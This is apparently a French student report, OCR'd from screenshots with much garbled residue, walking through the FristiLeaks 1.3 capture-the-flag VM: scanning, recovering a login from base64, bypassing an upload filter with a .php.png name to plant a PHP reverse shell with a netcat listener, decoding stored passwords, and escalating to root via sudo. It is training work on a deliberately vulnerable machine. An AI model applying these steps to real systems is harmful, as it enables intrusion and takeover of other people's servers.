RAPPORT DU CHALLENGE 5 Fristil eaks 1.3:

Apres avoir téléchargé et importé la machine vulnérable dans I'hyperviseur VMWARE, nous
avons effectué les étapes suivantes:

Nous avons changé 'adresse MAC de la machine dans vmware. Ensuite nous avons
démarré la machine. Et nous avons obtenu son adresse ip.
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Fristileaks 1.3 wvulnerable UM by ArBxA.
Goal: get root (uid @) and read the flag file

Thanks to dgi and barrebas for testing?

IP address:192.168.8.180
localhost login: _

Todirectinput to this VM, click inside or press Ctrl+G.

Etape1: Trouver les services disponible sur cette machine ainsi que leurs ports et versions
respectives a l'aide de nmap
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Shell No.1 x mass@kali: ~ X mass@kali: ~ X

-11-87 16:10 CET

s (no-response), 158 filtered tcp ports (host-prohibited)

.15 ((Cent0S) DAV/2 PHP/5

could not find at least 1 open and 1 closed port

inux_kernel:3

TRACEROUTE
HOP RTT
1 ©9.90 ms 192.168.0.100

05 and Se detection performed report any incorrect results at https ap.org/submit/ .
Nmap done: 1 Ii ddress (1 host up ned in 164.41 seconds

Nous avons remarqué la présence d’un service apache httpd ouvert sur le port 80. Ensuite
nous avons la liste de trois répertoire cola, sisi, et beer et d’un fichier robots.txt.

Nous avons accéder a l'interface de web, et avons accédé au répertoires listés.
Nous avons constaté que le robots.txt contient les trois dossiers cola, sisi, beer.
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Nous avons également constaté que les trois pages comportent la méme image ci-dessous.
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Etape3: Enumération
Nous avons également essayé la commande nikto afin d’avoir plus d’informations.

e sudo nikto -h 192.168.0.100

(GMT1)

inode: mtime: Tue Nov 17 19:45:47 2015
sent
1 hint to the u
rent fashion to the MIME type

Nous remarquons la présence d’autres répertoires, dont images, icons.

Nous nous sommes rendu sur chacun de ces interfaces.

e hitp://192.168.0.100/icons/


http://192.168.0.100/icons/
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Index of /icons

Name Last modified Size Description

3 Parent Directory -
a.gif 20-Nov-2004 15:16 246
a.png 26-Nov-2008 01:36 306
alert.black.gif 20-Nov-2004 15:16 242
alert.black.png 26-Nov-2008 01:36 293
alert.red.gif 20-Nov-2004 15:16 247
[&) alert.red png 26-Nov-2008 01:36 314
[ apache_pb.gif 20-Nov-2004 15:16 2.3K
apache pb.png 26-Nov-2008 01:36 2.0K
apache pb2.gif 26-Nov-2008 01:36 1.8K
apache pb2.png  26-Nov-2008 01:36 1.5K
apache pb2 ani.gif 26-Nov-2008 01:36 2.4K

back.gif 20-Nov-2004 15:16 216
[ back.png 26-Nov-2008 01:36 308
[&] ball.gray.gif 20-Nov-2004 15:16 233

ij ball.gray.png 26-Nov-2008 01:36 298

ball.red.gif 20-Nov-2004 15:16 205

ball.red.png 26-Nov-2008 01:36 289

e hitp://192.168.0.100/images/
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Index of /images

Name Last modified Size Description

& Parent Directory .
3037440.jpg 25-Nov-2015 03:50 105K
[&) keep-calm.png  17-Nov-2015 12:20 34K

Nous avons essayé le répertoire fristi: http://192.168.0.100/fristi/ et nous avons obtenu la
page ci-dessous:
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Member Login
Usemame : |
Password |

[Login|

Nous avons constaté que le champ password du formulaire est en clair, et on pouvait voir
les caracteres entrés. Nous avons inspecté la page et avons constaté la présence d’un nom
d’auteur, qui est ‘eezeepz’. Nous avons remarqué la présence d’un code base64.

Etape4: Exploitation des vulnérabilité

Nous avons essayé de décoder ce code en ligne sur: https://www.base64decode.org/
et nous n’avons pas obtenu de résultat, vu que c’est une image.
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Do you have to deal with Base64 format? Then this site is perfect for you! Use our super handy online tool to encode or decode your data.

Decode from Base64 format W Bonus tip: Bookmark us!
Simply enter your data then push the decode button.

IVBORWOKGgoAAAANSUEL ABLC. UHQAAAAAXNSROIArs4c6QAAAARNQUIBAACK

WVBYQUAAAAICERZ cowAADSMAAATDACAvOGQAAARSSURBVHheTdIRdtsgEIVhrasL8ngymmwmiOkl Super fast,
SOIAQGYONDOL/dWSQyTgdxz2t5+ ACCHHAHGRY4ABCIHAHIRIWCBYBEAXUQIACIYBIAXOQLAIXW super secure
B4EWO IgRAFTKC. g kCwiscAeBFjgDwIkcAeJEJALZIEQBeSAGALSke+ hosting from
m63yaP7/XP/SRUM2jx7iMz1ZdqpguzHPHzI053b9+1gd/0TL2WulIS+RMpJgStMTKE LpaHIvX 1] £1 / month

Zy7/d5i6qse0i9rWaBUMSR1+WrORI72DbdWKqZSOtMPgGIBLRhzyWWKTFDPXFmuICTe81bxnNOvD
DpYzOMN1WgpILSOw-+0aXwomXX{fhL Be6W-+IiNdDFujoQNJOXbKHMpSUMnIBSeG51bUcrBW+ViNd
1JQjcelwepPCiILNXFpi8gktXinVtYSd6UpINdPFCDIyKB3dyPLpSTVZZYnJR7TROWHEIFGVSNIDU
120mC/1/Zz2ZWXI1ablI0AL IZdq55GSXUGWY 7Syq+UUpINGOFeISENYgD T +qDbc HQPGYcS
UVFQZVSaM15LIyMrinrPU12qmC-+Ucqd+g6ELINSX16//6BwWEQzF5YM2ILhyMLz4sNNtp/pSkgl
04Vaj VmSZOEOYhzbl/FSycgVSzZIXDNmS4ciCni+kLRngizXThUgOhEkso2kSpGy00al g
i1n+SkSQGIOSIVSKCEZva +XH36 MyRal Lp jigpUNSHVIHXImC2Fg

@ For encoded binaries (like images, documents, eic.) use the file upload form a litte further down on this page.
UTF-8 v Source character set.

+ Decode each line separately (useful for when you have multiple entries)
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@ For encoded binaries (like images, documents, etc.) use the file upload form a littie further down on this page
UTF-8 ~  Source character set,
~ Decode each line separately (useful for when you have multiple entries)

@ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set)

(N »I=(elclo] B B Decodes your data into the area below.
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Decode files from Base64 format URL Decode

Select a file to upload and process, then you can download the decoded result.
URL Encode

Nous nous sommes rendu sur le site: https://codebeautify.org/baseb64-to-image-converter
afin de convertir 'image en chaine de caractere.
Et nous avons obtenu une image keKkeKKeKKeKKEKKEKk
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Enter Base64 String smpe O B O

Auto Update

iVBORWOKGgoAAAANSUhEUgAAAWOAAABLCAIAAAAQ4UHGAAAAAXNSROIArs4c6QAAA

jwv8YQUAAAAJCEhZcwAADsMAAA7DAcdvgGQAAARSSURBYHhe7dIRdtsgEIVhr8sL8nqy
mmwmiOkl
SOIAQGYONbO1//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHIRIwC8yBEAXUQIACIyBIAXO

QLAixw
N T T =T O S W WY =TI I SRS ¥ S T=SOU B Y =Y = BPTIT CURTP N S - S TR
Size : 1.62 KB, 1641 chars

ArFile G URL
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keKkeKKeKKeKkEKKEK

Transferring data from go.ezodn.com...

Nous avons ensuite utilisé le nom ‘eezeepz’ et le mot de passe ‘keKkeKKeKKeKKEKKEK’
pour nous authentifier.
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Member Login
Username -
Password : | kekkeKKeKKeKkEKKEK

| Login |

A B | &
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Login successful

upload file

En cliquant sur le lien upload file nous avons obtenu la page ci-dessous:
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Select image to upload:
| Browse... | No file selected. ‘ Upload Image‘

Nous avons décidé d'utiliser un reverse-shell afin d’accéder au shell de la machine
vulnérable.
Nous avons donc téléchargé php-reverse-shell-1.0 sur

https://pentestmonkey.net/tools/web-shells/php-reverse-shell .

Ensuite nous avons modifier I'adresse ip dans le fichier, avec I'adresse ip de notre
machine(machine de I'ataquant).

Limitations

if you get stuck.

CHANGE THIS
ANGE THIS

null;

null;
'uname -a; w; id; /bin/sh -i';

but will a
Worth a try

Nous avons démarrer I'écoute sur le port 1234 avec la commande: nc -nlvp 1234


https://pentestmonkey.net/tools/web-shells/php-reverse-shell

Ensuite nous avons uploader le code php-reverse-shell.php au niveau du formulaire. Et nous
avons obtenu le résultat ci-dessus:
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Sorry, is not a valid file. Only allowed are: png,jpg.gif
Sorry, file not uploaded

Nous avons changé I'extension du fichier en “png”.

e mv php-reverse-shell.php php-reverse-shell.png
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168.0.100/fristi/uploads/php ell.png” ¢ 0 bec TTOLS.

Nous avons ensuite renommer a nouveau le fichier en mv php-reverse-shell.php
php-reverse-shell.php.png.
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Shell No.1 % mass@kali: ~/Téléchargements/php-reverse-shell-1.0 x mass@kali: ~/Téléchargements/php-reverse-shell-1.0 X

~/Téléchargements/php-reverse-shell-1.0
CHANGELOG COPYING.GPL COPYING.PHP-| e y hell.php.png

[~/Téléchargements/php-reverse-shell-1.0]
php-reverse-shell.php.png php-reverse-shell.php

[~/Téléchargements/php-reverse-shell-1.8]
CHANGELOG COPYING.GPL COPY . PHP-RE HELL decryptpass.py

/Téléchargements/php-reverse-shell-1.0]
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Etapeb: Escalation de priviléges

Nous avons accés au shell. Et nous avons constaté que le fichier /etc/passwd est accessible
en écriture uniquement en mot root.

sh-4.1% 1s -la |, /passwd
c/passwd
-TW-T 1 root root 1165 Mo

sh-4.1




Nous avons listé le contenu du répertoite /home: Is /home
et nous avons obtenu trois utilisateur: admin,eezeepz, fristigod.
e /s /home/admin

sh-4.1% 1s /home/admin
1s /home/admin

at
chmod
cronjob.py

C 1‘1,,-'ptedp.5|.55 .CXL

cryptpass.py
df

whoisyourgodnow.txt

e cat /home/admin/cat /home/admin/cryptpass.py

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

e cat /home/admin/cryptedpass.txt

e cat /home/admin/whoisyourgodnow.txt
h-4.1% cat /home/admin/whoisyo
ome/admin/whoisyourgodnow

KnlMHMPIzpyuTIBITG
Eh_"ll' . 1$ I




Nous avons copié et modifier le fichier cryptpass.py dans un autre fichier que nous avons
nommé decryptpass.py afin de décoder les contenus des fichier cryptedpass.txt et
whoisyourgodnow.txt .

def decodeString(str):
baseb4string = codecs.decode(str[::-1], 'rot13’)
return base64.b64decode(baseb4string)
cryptoResult=decodeString(sys.argv(1])
print (cryptoResult)

GNU nano 6.3 decryptpass.py

baseb4, codecs, sys

bé4encode(str)
aseb4string[::-1], 'roti3')

baseb4string = codecs.decode(str[::-1], 'roti3")
base64.b64decode(baseb4string)
cryptoResult=decodeString(sys.argv[1])

(cryptoResult)

Nous avons ensuite lancé le script decryptpass.py

e python3 decryptpass.py mVGZ303omkJLmy2pcuTq
e python3 decryptpass.py =RFnOAKnIMHMPIzpyuTIOITG

— |-[~/Téléchargements/php-reverse-shell-1.0
— t decryptpass.py mVGZ303omkILmy2pcuTg
b'thisisalsopwl23’

— |-[~/Téléechargements/php-reverse-shell-1.0
— ' decryptpass.py =RFn@AKnTMHMPIzpyuTIBITG
b'LetThereBeFristi!"

e [s/home/eezeepz



e cat/home/eezeepz/notes.txt

made it possible for you to do some automated checks,

ut I did only al ss to fusr/bin/* system binaries. I did
jowever copy a few "a n needed commands to my
iomedir: chmod, df, ca : ps, grep, egrep so you can use those
from /home/admin/

on't forget to specify the full path for each binary!

runthis® in /tmp/, each line one command. The
: ronresult” in /tmp/. It should
/) minute with my account privileges.

Nous avons utilisé /home/admin/chmod pour créer ce fichier runthis qui modifiera
l'autorisation de /home/admin et le stockera dans /tmp.

e cd/tmp
e Js-la

e [s/tmp



Le répertoire tmp contient deux répertoires: cronresult et runthis.

e /s /home/fristigod

sh-4.1% 1s /home
1s /home

1s /home/fristigod
e/fristigod
nnot open directory /home/fristiged: Permission denied

Le répertoire fristigod est accessible uniquement au root.

e su fristigod , ceci nous renvoie l'erreur ci-dessous:

USER TTY FROM LOGINGD TDLE
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell

sh-4.1% su fristigod

su fristigod

standard in must be a

JCPU PCPU WHAT

Pour résoudre l'erreur, nous avons lancé les commandes suivantes:
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys

e python -c 'import pty; pty.spawn("/bin/bash")’

e export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Tue Nov 1@ 18:¢

CPU WHAT

lumns 116; re

64 GNU/Linux


https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys

su fristigod

su fristigod

su fristigod

id

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
cd /root

Is -la

cat fristileaks_secrets.txt

B EmPOF- 1234 povo o

mass@kali: ~[Téléchargements/php-reverse-shell-1.0
Fichier Actions Editer Vue Aide

Shell No.1 % mass@kali: ~/Téléchargements/php-reverse-shell-1.0 % mass@Kkali: ~/Téléchargements/php-reverse-shell-1.0 X

LetThereBeFristi!

3 whoami

E INPUTRC KDEDIR
C_COLLATE
RIC LC_PAPER

ay run
ALL) /wvar

uff/doCom /bin/bash
/bin/bash

root I e ash_ Lory

root p .bash_logout

root ol : .bash_p

root 7 .bashrc

root 4096 24 aC

root T : .cshrc

root 12 R 5 .mysql_history

root . : 3 . .tcshrc

root 9 7 5 .viminfo

root 246 r 17 5 fristileaks_secrets.txt

-I'wW-Ir—r—
-Tw

-I'w
bash-4.1#

[ Tl S SR Y Ty SR Sy B
]

by Ar@=A [https://tldr.nu]

maximum 4 hours it's supposed to take!




